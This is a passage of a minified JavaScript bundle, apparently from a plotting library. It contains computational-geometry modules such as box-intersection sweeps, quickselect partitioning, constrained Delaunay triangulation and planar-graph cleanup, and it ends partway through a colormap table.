O(z,N,G,J,q,ne,fe,X,W){k(z,J+fe);var V=0,Y=2*z,Q;for(B(V++,0,0,J,0,fe,G?16:0,-1/0,1/0),G||B(V++,0,0,fe,0,J,1,-1/0,1/0);V>0;){V-=1;var ie=V*m,j=x[ie],K=x[ie+1],oe=x[ie+2],re=x[ie+3],le=x[ie+4],pe=x[ie+5],we=V*n,xe=I[we],ke=I[we+1],_e=pe&1,be=!!(pe&16),ge=q,Te=ne,Fe=X,Oe=W;if(_e&&(ge=X,Te=W,Fe=q,Oe=ne),!(pe&2&&(oe=w(z,j,K,oe,ge,Te,ke),K>=oe))&&!(pe&4&&(K=E(z,j,K,oe,ge,Te,xe),K>=oe))){var Ce=oe-K,Be=le-re;if(be){if(z*Ce*(Ce+Be)<i){if(Q=s.scanComplete(z,j,N,K,oe,ge,Te,re,le,Fe,Oe),Q!==void 0)return Q;continue}}else if(z*Math.min(Ce,Be)<b){if(Q=l(z,j,N,_e,K,oe,ge,Te,re,le,Fe,Oe),Q!==void 0)return Q;continue}else if(z*Ce*Be<h){if(Q=s.scanBipartite(z,j,N,_e,K,oe,ge,Te,re,le,Fe,Oe),Q!==void 0)return Q;continue}var $e=v(z,j,K,oe,ge,Te,xe,ke);if(K<$e)if(z*($e-K)<b){if(Q=u(z,j+1,N,K,$e,ge,Te,re,le,Fe,Oe),Q!==void 0)return Q}else if(j===z-2){if(_e?Q=s.sweepBipartite(z,N,re,le,Fe,Oe,K,$e,ge,Te):Q=s.sweepBipartite(z,N,K,$e,ge,Te,re,le,Fe,Oe),Q!==void 0)return Q}else B(V++,j+1,K,$e,re,le,_e,-1/0,1/0),B(V++,j+1,re,le,K,$e,_e^1,-1/0,1/0);if($e<oe){var Xe=y(z,j,re,le,Fe,Oe),Ze=Fe[Y*Xe+j],Ke=T(z,j,Xe,le,Fe,Oe,Ze);if(Ke<le&&B(V++,j,$e,oe,Ke,le,(_e|4)+(be?16:0),Ze,ke),re<Xe&&B(V++,j,$e,oe,re,Xe,(_e|2)+(be?16:0),xe,Ze),Xe+1===Ke){if(be?Q=F(z,j,N,$e,oe,ge,Te,Xe,Fe,Oe[Xe]):Q=_(z,j,N,_e,$e,oe,ge,Te,Xe,Fe,Oe[Xe]),Q!==void 0)return Q}else if(Xe<Ke){var st;if(be){if(st=p(z,j,$e,oe,ge,Te,Ze),$e<st){var lt=T(z,j,$e,st,ge,Te,Ze);if(j===z-2){if($e<lt&&(Q=s.sweepComplete(z,N,$e,lt,ge,Te,Xe,Ke,Fe,Oe),Q!==void 0)||lt<st&&(Q=s.sweepBipartite(z,N,lt,st,ge,Te,Xe,Ke,Fe,Oe),Q!==void 0))return Q}else $e<lt&&B(V++,j+1,$e,lt,Xe,Ke,16,-1/0,1/0),lt<st&&(B(V++,j+1,lt,st,Xe,Ke,0,-1/0,1/0),B(V++,j+1,Xe,Ke,lt,st,1,-1/0,1/0))}}else _e?st=A(z,j,$e,oe,ge,Te,Ze):st=p(z,j,$e,oe,ge,Te,Ze),$e<st&&(j===z-2?_e?Q=s.sweepBipartite(z,N,Xe,Ke,Fe,Oe,$e,st,ge,Te):Q=s.sweepBipartite(z,N,$e,st,ge,Te,Xe,Ke,Fe,Oe):(B(V++,j+1,$e,st,Xe,Ke,_e,-1/0,1/0),B(V++,j+1,Xe,Ke,$e,st,_e^1,-1/0,1/0)))}}}}}},2464:function(d,g,t){d.exports=u;var r=t(122),f=r("lo<p0"),a=8;function l(s,y,c,b,h,i){for(var v=2*s,T=v*(c+1)+y,w=c+1;w<b;++w,T+=v)for(var E=h[T],p=w,A=v*(w-1);p>c&&h[A+y]>E;--p,A-=v){for(var m=A,n=A+v,C=0;C<v;++C,++m,++n){var x=h[m];h[m]=h[n],h[n]=x}var I=i[p];i[p]=i[p-1],i[p-1]=I}}function u(s,y,c,b,h,i){if(b<=c+1)return c;for(var v=c,T=b,w=b+c>>>1,E=2*s,p=w,A=h[E*w+y];v<T;){if(T-v<a){l(s,y,v,T,h,i),A=h[E*w+y];break}var m=T-v,n=Math.random()*m+v|0,C=h[E*n+y],x=Math.random()*m+v|0,I=h[E*x+y],k=Math.random()*m+v|0,B=h[E*k+y];C<=I?B>=I?(p=x,A=I):C>=B?(p=n,A=C):(p=k,A=B):I>=B?(p=x,A=I):B>=C?(p=n,A=C):(p=k,A=B);for(var O=E*(T-1),z=E*p,_=0;_<E;++_,++O,++z){var F=h[O];h[O]=h[z],h[z]=F}var N=i[T-1];i[T-1]=i[p],i[p]=N,p=f(s,y,v,T-1,h,i,A);for(var O=E*(T-1),z=E*p,_=0;_<E;++_,++O,++z){var F=h[O];h[O]=h[z],h[z]=F}var N=i[T-1];if(i[T-1]=i[p],i[p]=N,w<p){for(T=p-1;v<T&&h[E*(T-1)+y]===A;)T-=1;T+=1}else if(p<w)for(v=p+1;v<T&&h[E*v+y]===A;)v+=1;else break}return f(s,y,c,w,h,i,h[E*w+y])}},122:function(d){d.exports=t;var g={"lo===p0":r,"lo<p0":f,"lo<=p0":a,"hi<=p0":l,"lo<p0&&p0<=hi":s,"lo<=p0&&p0<=hi":u,"!(lo>=p0)&&!(p1>=hi)":y};function t(c){return g[c]}function r(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+n];if(I===w)if(m===x)m+=1,A+=E;else{for(var k=0;E>k;++k){var B=v[p+k];v[p+k]=v[A],v[A++]=B}var _=T[x];T[x]=T[m],T[m++]=_}}return m}function f(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+n];if(I<w)if(m===x)m+=1,A+=E;else{for(var k=0;E>k;++k){var B=v[p+k];v[p+k]=v[A],v[A++]=B}var _=T[x];T[x]=T[m],T[m++]=_}}return m}function a(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+C];if(I<=w)if(m===x)m+=1,A+=E;else{for(var k=0;E>k;++k){var B=v[p+k];v[p+k]=v[A],v[A++]=B}var _=T[x];T[x]=T[m],T[m++]=_}}return m}function l(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+C];if(I<=w)if(m===x)m+=1,A+=E;else{for(var k=0;E>k;++k){var B=v[p+k];v[p+k]=v[A],v[A++]=B}var _=T[x];T[x]=T[m],T[m++]=_}}return m}function u(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+n],k=v[p+C];if(I<=w&&w<=k)if(m===x)m+=1,A+=E;else{for(var B=0;E>B;++B){var _=v[p+B];v[p+B]=v[A],v[A++]=_}var F=T[x];T[x]=T[m],T[m++]=F}}return m}function s(c,b,h,i,v,T,w){for(var E=2*c,p=E*h,A=p,m=h,n=b,C=c+b,x=h;i>x;++x,p+=E){var I=v[p+n],k=v[p+C];if(I<w&&w<=k)if(m===x)m+=1,A+=E;else{for(var B=0;E>B;++B){var _=v[p+B];v[p+B]=v[A],v[A++]=_}var F=T[x];T[x]=T[m],T[m++]=F}}return m}function y(c,b,h,i,v,T,w,E){for(var p=2*c,A=p*h,m=A,n=h,C=b,x=c+b,I=h;i>I;++I,A+=p){var k=v[A+C],B=v[A+x];if(!(k>=w)&&!(E>=B))if(n===I)n+=1,m+=p;else{for(var _=0;p>_;++_){var F=v[A+_];v[A+_]=v[m],v[m++]=F}var O=T[I];T[I]=T[n],T[n++]=O}}return n}},309:function(d){d.exports=t;var g=32;function t(b,h){h<=4*g?r(0,h-1,b):c(0,h-1,b)}function r(b,h,i){for(var v=2*(b+1),T=b+1;T<=h;++T){for(var w=i[v++],E=i[v++],p=T,A=v-2;p-- >b;){var m=i[A-2],n=i[A-1];if(m<w)break;if(m===w&&n<E)break;i[A]=m,i[A+1]=n,A-=2}i[A]=w,i[A+1]=E}}function f(b,h,i){b*=2,h*=2;var v=i[b],T=i[b+1];i[b]=i[h],i[b+1]=i[h+1],i[h]=v,i[h+1]=T}function a(b,h,i){b*=2,h*=2,i[b]=i[h],i[b+1]=i[h+1]}function l(b,h,i,v){b*=2,h*=2,i*=2;var T=v[b],w=v[b+1];v[b]=v[h],v[b+1]=v[h+1],v[h]=v[i],v[h+1]=v[i+1],v[i]=T,v[i+1]=w}function u(b,h,i,v,T){b*=2,h*=2,T[b]=T[h],T[h]=i,T[b+1]=T[h+1],T[h+1]=v}function s(b,h,i){b*=2,h*=2;var v=i[b],T=i[h];return v<T?!1:v===T?i[b+1]>i[h+1]:!0}function y(b,h,i,v){b*=2;var T=v[b];return T<h?!0:T===h?v[b+1]<i:!1}function c(b,h,i){var v=(h-b+1)/6|0,T=b+v,w=h-v,E=b+h>>1,p=E-v,A=E+v,m=T,n=p,C=E,x=A,I=w,k=b+1,B=h-1,_=0;s(m,n,i)&&(_=m,m=n,n=_),s(x,I,i)&&(_=x,x=I,I=_),s(m,C,i)&&(_=m,m=C,C=_),s(n,C,i)&&(_=n,n=C,C=_),s(m,x,i)&&(_=m,m=x,x=_),s(C,x,i)&&(_=C,C=x,x=_),s(n,I,i)&&(_=n,n=I,I=_),s(n,C,i)&&(_=n,n=C,C=_),s(x,I,i)&&(_=x,x=I,I=_);for(var F=i[2*n],O=i[2*n+1],z=i[2*x],N=i[2*x+1],G=2*m,J=2*C,q=2*I,ne=2*T,fe=2*E,X=2*w,W=0;W<2;++W){var V=i[G+W],Y=i[J+W],Q=i[q+W];i[ne+W]=V,i[fe+W]=Y,i[X+W]=Q}a(p,b,i),a(A,h,i);for(var ie=k;ie<=B;++ie)if(y(ie,F,O,i))ie!==k&&f(ie,k,i),++k;else if(!y(ie,z,N,i))for(;;)if(y(B,z,N,i)){y(B,F,O,i)?(l(ie,k,B,i),++k,--B):(f(ie,B,i),--B);break}else{if(--B<ie)break;continue}u(b,k-1,F,O,i),u(h,B+1,z,N,i),k-2-b<=g?r(b,k-2,i):c(b,k-2,i),h-(B+2)<=g?r(B+2,h,i):c(B+2,h,i),B-k<=g?r(k,B,i):c(k,B,i)}},1390:function(d,g,t){d.exports={init:T,sweepBipartite:p,sweepComplete:A,scanBipartite:m,scanComplete:n};var r=t(5306),f=t(2288),a=t(309),l=1<<28,u=1024,s=r.mallocInt32(u),y=r.mallocInt32(u),c=r.mallocInt32(u),b=r.mallocInt32(u),h=r.mallocInt32(u),i=r.mallocInt32(u),v=r.mallocDouble(u*8);function T(C){var x=f.nextPow2(C);s.length<x&&(r.free(s),s=r.mallocInt32(x)),y.length<x&&(r.free(y),y=r.mallocInt32(x)),c.length<x&&(r.free(c),c=r.mallocInt32(x)),b.length<x&&(r.free(b),b=r.mallocInt32(x)),h.length<x&&(r.free(h),h=r.mallocInt32(x)),i.length<x&&(r.free(i),i=r.mallocInt32(x));var I=8*x;v.length<I&&(r.free(v),v=r.mallocDouble(I))}function w(C,x,I,k){var B=x[k],_=C[I-1];C[B]=_,x[_]=B}function E(C,x,I,k){C[I]=k,x[k]=I}function p(C,x,I,k,B,_,F,O,z,N){for(var G=0,J=2*C,q=C-1,ne=J-1,fe=I;fe<k;++fe){var X=_[fe],W=J*fe;v[G++]=B[W+q],v[G++]=-(X+1),v[G++]=B[W+ne],v[G++]=X}for(var fe=F;fe<O;++fe){var X=N[fe]+l,V=J*fe;v[G++]=z[V+q],v[G++]=-X,v[G++]=z[V+ne],v[G++]=X}var Y=G>>>1;a(v,Y);for(var Q=0,ie=0,fe=0;fe<Y;++fe){var j=v[2*fe+1]|0;if(j>=l)j=j-l|0,w(c,b,ie--,j);else if(j>=0)w(s,y,Q--,j);else if(j<=-l){j=-j-l|0;for(var K=0;K<Q;++K){var oe=x(s[K],j);if(oe!==void 0)return oe}E(c,b,ie++,j)}else{j=-j-1|0;for(var K=0;K<ie;++K){var oe=x(j,c[K]);if(oe!==void 0)return oe}E(s,y,Q++,j)}}}function A(C,x,I,k,B,_,F,O,z,N){for(var G=0,J=2*C,q=C-1,ne=J-1,fe=I;fe<k;++fe){var X=_[fe]+1<<1,W=J*fe;v[G++]=B[W+q],v[G++]=-X,v[G++]=B[W+ne],v[G++]=X}for(var fe=F;fe<O;++fe){var X=N[fe]+1<<1,V=J*fe;v[G++]=z[V+q],v[G++]=-X|1,v[G++]=z[V+ne],v[G++]=X|1}var Y=G>>>1;a(v,Y);for(var Q=0,ie=0,j=0,fe=0;fe<Y;++fe){var K=v[2*fe+1]|0,oe=K&1;if(fe<Y-1&&K>>1===v[2*fe+3]>>1&&(oe=2,fe+=1),K<0){for(var re=-(K>>1)-1,le=0;le<j;++le){var pe=x(h[le],re);if(pe!==void 0)return pe}if(oe!==0)for(var le=0;le<Q;++le){var pe=x(s[le],re);if(pe!==void 0)return pe}if(oe!==1)for(var le=0;le<ie;++le){var pe=x(c[le],re);if(pe!==void 0)return pe}oe===0?E(s,y,Q++,re):oe===1?E(c,b,ie++,re):oe===2&&E(h,i,j++,re)}else{var re=(K>>1)-1;oe===0?w(s,y,Q--,re):oe===1?w(c,b,ie--,re):oe===2&&w(h,i,j--,re)}}}function m(C,x,I,k,B,_,F,O,z,N,G,J){var q=0,ne=2*C,fe=x,X=x+C,W=1,V=1;k?V=l:W=l;for(var Y=B;Y<_;++Y){var Q=Y+W,ie=ne*Y;v[q++]=F[ie+fe],v[q++]=-Q,v[q++]=F[ie+X],v[q++]=Q}for(var Y=z;Y<N;++Y){var Q=Y+V,j=ne*Y;v[q++]=G[j+fe],v[q++]=-Q}var K=q>>>1;a(v,K);for(var oe=0,Y=0;Y<K;++Y){var re=v[2*Y+1]|0;if(re<0){var Q=-re,le=!1;if(Q>=l?(le=!k,Q-=l):(le=!!k,Q-=1),le)E(s,y,oe++,Q);else{var pe=J[Q],we=ne*Q,xe=G[we+x+1],ke=G[we+x+1+C];e:for(var _e=0;_e<oe;++_e){var be=s[_e],ge=ne*be;if(!(ke<F[ge+x+1]||F[ge+x+1+C]<xe)){for(var Te=x+2;Te<C;++Te)if(G[we+Te+C]<F[ge+Te]||F[ge+Te+C]<G[we+Te])continue e;var Fe=O[be],Oe;if(k?Oe=I(pe,Fe):Oe=I(Fe,pe),Oe!==void 0)return Oe}}}}else w(s,y,oe--,re-W)}}function n(C,x,I,k,B,_,F,O,z,N,G){for(var J=0,q=2*C,ne=x,fe=x+C,X=k;X<B;++X){var W=X+l,V=q*X;v[J++]=_[V+ne],v[J++]=-W,v[J++]=_[V+fe],v[J++]=W}for(var X=O;X<z;++X){var W=X+1,Y=q*X;v[J++]=N[Y+ne],v[J++]=-W}var Q=J>>>1;a(v,Q);for(var ie=0,X=0;X<Q;++X){var j=v[2*X+1]|0;if(j<0){var W=-j;if(W>=l)s[ie++]=W-l;else{W-=1;var K=G[W],oe=q*W,re=N[oe+x+1],le=N[oe+x+1+C];e:for(var pe=0;pe<ie;++pe){var we=s[pe],xe=F[we];if(xe===K)break;var ke=q*we;if(!(le<_[ke+x+1]||_[ke+x+1+C]<re)){for(var _e=x+2;_e<C;++_e)if(N[oe+_e+C]<_[ke+_e]||_[ke+_e+C]<N[oe+_e])continue e;var be=I(xe,K);if(be!==void 0)return be}}}}else{for(var W=j-l,pe=ie-1;pe>=0;--pe)if(s[pe]===W){for(var _e=pe+1;_e<ie;++_e)s[_e-1]=s[_e];break}--ie}}}},7761:function(d,g,t){var r=t(9971),f=t(743),a=t(2161),l=t(7098);d.exports=b;function u(h){return[Math.min(h[0],h[1]),Math.max(h[0],h[1])]}function s(h,i){return h[0]-i[0]||h[1]-i[1]}function y(h){return h.map(u).sort(s)}function c(h,i,v){return i in h?h[i]:v}function b(h,i,v){Array.isArray(i)?(v=v||{},i=i||[]):(v=i||{},i=[]);var T=!!c(v,"delaunay",!0),w=!!c(v,"interior",!0),E=!!c(v,"exterior",!0),p=!!c(v,"infinity",!1);if(!w&&!E||h.length===0)return[];var A=r(h,i);if(T||w!==E||p){for(var m=f(h.length,y(i)),n=0;n<A.length;++n){var C=A[n];m.addTriangle(C[0],C[1],C[2])}return T&&a(h,m),E?w?p?l(m,0,p):m.cells():l(m,1,p):l(m,-1)}else return A}},2161:function(d,g,t){var r=t(2227)[4];t(5070),d.exports=a;function f(l,u,s,y,c,b){var h=u.opposite(y,c);if(!(h<0)){if(c<y){var i=y;y=c,c=i,i=b,b=h,h=i}u.isConstraint(y,c)||r(l[y],l[c],l[b],l[h])<0&&s.push(y,c)}}function a(l,u){for(var s=[],y=l.length,c=u.stars,b=0;b<y;++b)for(var h=c[b],i=1;i<h.length;i+=2){var v=h[i];if(!(v<b)&&!u.isConstraint(b,v)){for(var T=h[i-1],w=-1,E=1;E<h.length;E+=2)if(h[E-1]===v){w=h[E];break}w<0||r(l[b],l[v],l[T],l[w])<0&&s.push(b,v)}}for(;s.length>0;){for(var v=s.pop(),b=s.pop(),T=-1,w=-1,h=c[b],p=1;p<h.length;p+=2){var A=h[p-1],m=h[p];A===v?w=m:m===v&&(T=A)}T<0||w<0||r(l[b],l[v],l[T],l[w])>=0||(u.flip(b,v),f(l,u,s,T,b,w),f(l,u,s,b,w,T),f(l,u,s,w,v,T),f(l,u,s,v,T,w))}}},7098:function(d,g,t){var r=t(5070);d.exports=y;function f(c,b,h,i,v,T,w){this.cells=c,this.neighbor=b,this.flags=i,this.constraint=h,this.active=v,this.next=T,this.boundary=w}var a=f.prototype;function l(c,b){return c[0]-b[0]||c[1]-b[1]||c[2]-b[2]}a.locate=function(){var c=[0,0,0];return function(b,h,i){var v=b,T=h,w=i;return h<i?h<b&&(v=h,T=i,w=b):i<b&&(v=i,T=b,w=h),v<0?-1:(c[0]=v,c[1]=T,c[2]=w,r.eq(this.cells,c,l))}}();function u(c,b){for(var h=c.cells(),i=h.length,v=0;v<i;++v){var T=h[v],w=T[0],E=T[1],p=T[2];E<p?E<w&&(T[0]=E,T[1]=p,T[2]=w):p<w&&(T[0]=p,T[1]=w,T[2]=E)}h.sort(l);for(var A=new Array(i),v=0;v<A.length;++v)A[v]=0;var m=[],n=[],C=new Array(3*i),x=new Array(3*i),I=null;b&&(I=[]);for(var k=new f(h,C,x,A,m,n,I),v=0;v<i;++v)for(var T=h[v],B=0;B<3;++B){var w=T[B],E=T[(B+1)%3],_=C[3*v+B]=k.locate(E,w,c.opposite(E,w)),F=x[3*v+B]=c.isConstraint(w,E);_<0&&(F?n.push(v):(m.push(v),A[v]=1),b&&I.push([E,w,-1]))}return k}function s(c,b,h){for(var i=0,v=0;v<c.length;++v)b[v]===h&&(c[i++]=c[v]);return c.length=i,c}function y(c,b,h){var i=u(c,h);if(b===0)return h?i.cells.concat(i.boundary):i.cells;for(var v=1,T=i.active,w=i.next,E=i.flags,p=i.cells,A=i.constraint,m=i.neighbor;T.length>0||w.length>0;){for(;T.length>0;){var n=T.pop();if(E[n]!==-v){E[n]=v,p[n];for(var C=0;C<3;++C){var x=m[3*n+C];x>=0&&E[x]===0&&(A[3*n+C]?w.push(x):(T.push(x),E[x]=v))}}}var I=w;w=T,T=I,w.length=0,v=-v}var k=s(p,E,b);return h?k.concat(i.boundary):k}},9971:function(d,g,t){var r=t(5070),f=t(417)[3],a=0,l=1,u=2;d.exports=w;function s(E,p,A,m,n){this.a=E,this.b=p,this.idx=A,this.lowerIds=m,this.upperIds=n}function y(E,p,A,m){this.a=E,this.b=p,this.type=A,this.idx=m}function c(E,p){var A=E.a[0]-p.a[0]||E.a[1]-p.a[1]||E.type-p.type;return A||E.type!==a&&(A=f(E.a,E.b,p.b),A)?A:E.idx-p.idx}function b(E,p){return f(E.a,E.b,p)}function h(E,p,A,m,n){for(var C=r.lt(p,m,b),x=r.gt(p,m,b),I=C;I<x;++I){for(var k=p[I],B=k.lowerIds,F=B.length;F>1&&f(A[B[F-2]],A[B[F-1]],m)>0;)E.push([B[F-1],B[F-2],n]),F-=1;B.length=F,B.push(n);for(var _=k.upperIds,F=_.length;F>1&&f(A[_[F-2]],A[_[F-1]],m)<0;)E.push([_[F-2],_[F-1],n]),F-=1;_.length=F,_.push(n)}}function i(E,p){var A;return E.a[0]<p.a[0]?A=f(E.a,E.b,p.a):A=f(p.b,p.a,E.a),A||(p.b[0]<E.b[0]?A=f(E.a,E.b,p.b):A=f(p.b,p.a,E.b),A||E.idx-p.idx)}function v(E,p,A){var m=r.le(E,A,i),n=E[m],C=n.upperIds,x=C[C.length-1];n.upperIds=[x],E.splice(m+1,0,new s(A.a,A.b,A.idx,[x],C))}function T(E,p,A){var m=A.a;A.a=A.b,A.b=m;var n=r.eq(E,A,i),C=E[n],x=E[n-1];x.upperIds=C.upperIds,E.splice(n,1)}function w(E,p){for(var A=E.length,m=p.length,n=[],C=0;C<A;++C)n.push(new y(E[C],null,a,C));for(var C=0;C<m;++C){var x=p[C],I=E[x[0]],k=E[x[1]];I[0]<k[0]?n.push(new y(I,k,u,C),new y(k,I,l,C)):I[0]>k[0]&&n.push(new y(k,I,u,C),new y(I,k,l,C))}n.sort(c);for(var B=n[0].a[0]-(1+Math.abs(n[0].a[0]))*Math.pow(2,-52),_=[new s([B,1],[B,0],-1,[],[])],F=[],C=0,O=n.length;C<O;++C){var z=n[C],N=z.type;N===a?h(F,_,E,z.a,z.idx):N===u?v(_,E,z):T(_,E,z)}return F}},743:function(d,g,t){var r=t(5070);d.exports=u;function f(s,y){this.stars=s,this.edges=y}var a=f.prototype;function l(s,y,c){for(var b=1,h=s.length;b<h;b+=2)if(s[b-1]===y&&s[b]===c){s[b-1]=s[h-2],s[b]=s[h-1],s.length=h-2;return}}a.isConstraint=function(){var s=[0,0];function y(c,b){return c[0]-b[0]||c[1]-b[1]}return function(c,b){return s[0]=Math.min(c,b),s[1]=Math.max(c,b),r.eq(this.edges,s,y)>=0}}(),a.removeTriangle=function(s,y,c){var b=this.stars;l(b[s],y,c),l(b[y],c,s),l(b[c],s,y)},a.addTriangle=function(s,y,c){var b=this.stars;b[s].push(y,c),b[y].push(c,s),b[c].push(s,y)},a.opposite=function(s,y){for(var c=this.stars[y],b=1,h=c.length;b<h;b+=2)if(c[b]===s)return c[b-1];return-1},a.flip=function(s,y){var c=this.opposite(s,y),b=this.opposite(y,s);this.removeTriangle(s,y,c),this.removeTriangle(y,s,b),this.addTriangle(s,b,c),this.addTriangle(y,c,b)},a.edges=function(){for(var s=this.stars,y=[],c=0,b=s.length;c<b;++c)for(var h=s[c],i=0,v=h.length;i<v;i+=2)y.push([h[i],h[i+1]]);return y},a.cells=function(){for(var s=this.stars,y=[],c=0,b=s.length;c<b;++c)for(var h=s[c],i=0,v=h.length;i<v;i+=2){var T=h[i],w=h[i+1];c<Math.min(T,w)&&y.push([c,T,w])}return y};function u(s,y){for(var c=new Array(s),b=0;b<s;++b)c[b]=[];return new f(c,y)}},9887:function(d){d.exports=g;function g(t){for(var r=1,f=1;f<t.length;++f)for(var a=0;a<f;++a)if(t[f]<t[a])r=-r;else if(t[a]===t[f])return 0;return r}},9243:function(d,g,t){var r=t(3094),f=t(6606);function a(s,y){for(var c=0,b=s.length,h=0;h<b;++h)c+=s[h]*y[h];return c}function l(s){var y=s.length;if(y===0)return[];s[0].length;var c=r([s.length+1,s.length+1],1),b=r([s.length+1],1);c[y][y]=0;for(var h=0;h<y;++h){for(var i=0;i<=h;++i)c[i][h]=c[h][i]=2*a(s[h],s[i]);b[h]=a(s[h],s[h])}for(var v=f(c,b),T=0,w=v[y+1],h=0;h<w.length;++h)T+=w[h];for(var E=new Array(y),h=0;h<y;++h){for(var w=v[h],p=0,i=0;i<w.length;++i)p+=w[i];E[h]=p/T}return E}function u(s){if(s.length===0)return[];for(var y=s[0].length,c=r([y]),b=l(s),h=0;h<s.length;++h)for(var i=0;i<y;++i)c[i]+=s[h][i]*b[h];return c}u.barycenetric=l,d.exports=u},1778:function(d,g,t){d.exports=f;var r=t(9243);function f(a){for(var l=r(a),u=0,s=0;s<a.length;++s)for(var y=a[s],c=0;c<l.length;++c)u+=Math.pow(y[c]-l[c],2);return Math.sqrt(u/a.length)}},197:function(d,g,t){d.exports=I;var r=t(1731),f=t(2569),a=t(4434),l=t(5125),u=t(8846),s=t(7999),y=t(2826),c=t(8551),b=t(5528);function h(k){var B=s(k);return[c(B,-1/0),c(B,1/0)]}function i(k,B){for(var _=new Array(B.length),F=0;F<B.length;++F){var O=B[F],z=k[O[0]],N=k[O[1]];_[F]=[c(Math.min(z[0],N[0]),-1/0),c(Math.min(z[1],N[1]),-1/0),c(Math.max(z[0],N[0]),1/0),c(Math.max(z[1],N[1]),1/0)]}return _}function v(k){for(var B=new Array(k.length),_=0;_<k.length;++_){var F=k[_];B[_]=[c(F[0],-1/0),c(F[1],-1/0),c(F[0],1/0),c(F[1],1/0)]}return B}function T(k,B,_){var F=[];return f(_,function(O,z){var N=B[O],G=B[z];if(!(N[0]===G[0]||N[0]===G[1]||N[1]===G[0]||N[1]===G[1])){var J=k[N[0]],q=k[N[1]],ne=k[G[0]],fe=k[G[1]];a(J,q,ne,fe)&&F.push([O,z])}}),F}function w(k,B,_,F){var O=[];return f(_,F,function(z,N){var G=B[z];if(!(G[0]===N||G[1]===N)){var J=k[N],q=k[G[0]],ne=k[G[1]];a(q,ne,J,J)&&O.push([z,N])}}),O}function E(k,B,_,F,O){var z,N,G=k.map(function(we){return[l(we[0]),l(we[1])]});for(z=0;z<_.length;++z){var J=_[z];N=J[0];var q=J[1],ne=B[N],fe=B[q],X=b(y(k[ne[0]]),y(k[ne[1]]),y(k[fe[0]]),y(k[fe[1]]));if(X){var W=k.length;k.push([s(X[0]),s(X[1])]),G.push(X),F.push([N,W],[q,W])}}for(F.sort(function(we,xe){if(we[0]!==xe[0])return we[0]-xe[0];var ke=G[we[1]],_e=G[xe[1]];return u(ke[0],_e[0])||u(ke[1],_e[1])}),z=F.length-1;z>=0;--z){var V=F[z];N=V[0];var Y=B[N],Q=Y[0],ie=Y[1],j=k[Q],K=k[ie];if((j[0]-K[0]||j[1]-K[1])<0){var oe=Q;Q=ie,ie=oe}Y[0]=Q;var re=Y[1]=V[1],le;for(O&&(le=Y[2]);z>0&&F[z-1][0]===N;){var V=F[--z],pe=V[1];O?B.push([re,pe,le]):B.push([re,pe]),re=pe}O?B.push([re,ie,le]):B.push([re,ie])}return G}function p(k,B,_){for(var F=B.length,O=new r(F),z=[],N=0;N<B.length;++N){var G=B[N],J=h(G[0]),q=h(G[1]);z.push([c(J[0],-1/0),c(q[0],-1/0),c(J[1],1/0),c(q[1],1/0)])}f(z,function(V,Y){O.link(V,Y)});for(var ne=!0,fe=new Array(F),N=0;N<F;++N){var X=O.find(N);X!==N&&(ne=!1,k[X]=[Math.min(k[N][0],k[X][0]),Math.min(k[N][1],k[X][1])])}if(ne)return null;for(var W=0,N=0;N<F;++N){var X=O.find(N);X===N?(fe[N]=W,k[W++]=k[N]):fe[N]=-1}k.length=W;for(var N=0;N<F;++N)fe[N]<0&&(fe[N]=fe[O.find(N)]);return fe}function A(k,B){return k[0]-B[0]||k[1]-B[1]}function m(k,B){var _=k[0]-B[0]||k[1]-B[1];return _||(k[2]<B[2]?-1:k[2]>B[2]?1:0)}function n(k,B,_){if(k.length!==0){if(B)for(var F=0;F<k.length;++F){var O=k[F],z=B[O[0]],N=B[O[1]];O[0]=Math.min(z,N),O[1]=Math.max(z,N)}else for(var F=0;F<k.length;++F){var O=k[F],z=O[0],N=O[1];O[0]=Math.min(z,N),O[1]=Math.max(z,N)}_?k.sort(m):k.sort(A);for(var G=1,F=1;F<k.length;++F){var J=k[F-1],q=k[F];q[0]===J[0]&&q[1]===J[1]&&(!_||q[2]===J[2])||(k[G++]=q)}k.length=G}}function C(k,B,_){var F=p(k,[],v(k));return n(B,F,_),!!F}function x(k,B,_){var F=i(k,B),O=T(k,B,F),z=v(k),N=w(k,B,F,z),G=E(k,B,O,N,_),J=p(k,G);return n(B,J,_),J?!0:O.length>0||N.length>0}function I(k,B,_){var F;if(_){F=B;for(var O=new Array(B.length),z=0;z<B.length;++z){var N=B[z];O[z]=[N[0],N[1],_[z]]}B=O}for(var G=C(k,B,!!_);x(k,B,!!_);)G=!0;if(_&&G){F.length=0,_.length=0;for(var z=0;z<B.length;++z){var N=B[z];F.push([N[0],N[1]]),_.push(N[2])}}return G}},5528:function(d,g,t){d.exports=b;var r=t(3962),f=t(9189),a=t(4354),l=t(4951),u=t(6695),s=t(7584),y=t(4469);function c(h,i){return a(r(h[0],i[1]),r(h[1],i[0]))}function b(h,i,v,T){var w=u(i,h),E=u(T,v),p=c(w,E);if(l(p)===0)return null;var A=u(h,v),m=c(E,A),n=f(m,p),C=y(w,n),x=s(h,C);return x}},5692:function(d){d.exports={jet:[{index:0,rgb:[0,0,131]},{index:.125,rgb:[0,60,170]},{index:.375,rgb:[5,255,255]},{index:.625,rgb:[255,255,0]},{index:.875,rgb:[250,0,0]},{index:1,rgb:[128,0,0]}],hsv:[{index:0,rgb:[255,0,0]},{index:.169,rgb:[253,255,2]},{index:.173,rgb:[247,255,2]},{index:.337,rgb:[0,252,4]},{index:.341,rgb:[0,252,10]},{index:.506,rgb:[1,249,255]},{index:.671,rgb:[2,0,253]},{index:.675,rgb:[8,0,253]},{index:.839,rgb:[255,0,251]},{index:.843,rgb:[255,0,245]},{index:1,rgb:[255,0,6]}],hot:[{index:0,rgb:[0,0,0]},{index:.3,rgb:[230,0,0]},{index:.6,rgb:[255,210,0]},{index:1,rgb:[255,255,255]}],spring:[{index:0,rgb:[255,0,255]},{index:1,rgb:[255,255,0]}],summer:[{index:0,rgb:[0,128,102]},{index:1,rgb:[255,255,102]}],autumn:[{index:0,rgb:[255,0,0]},{index:1,rgb:[255,255,0]}],winter:[{index:0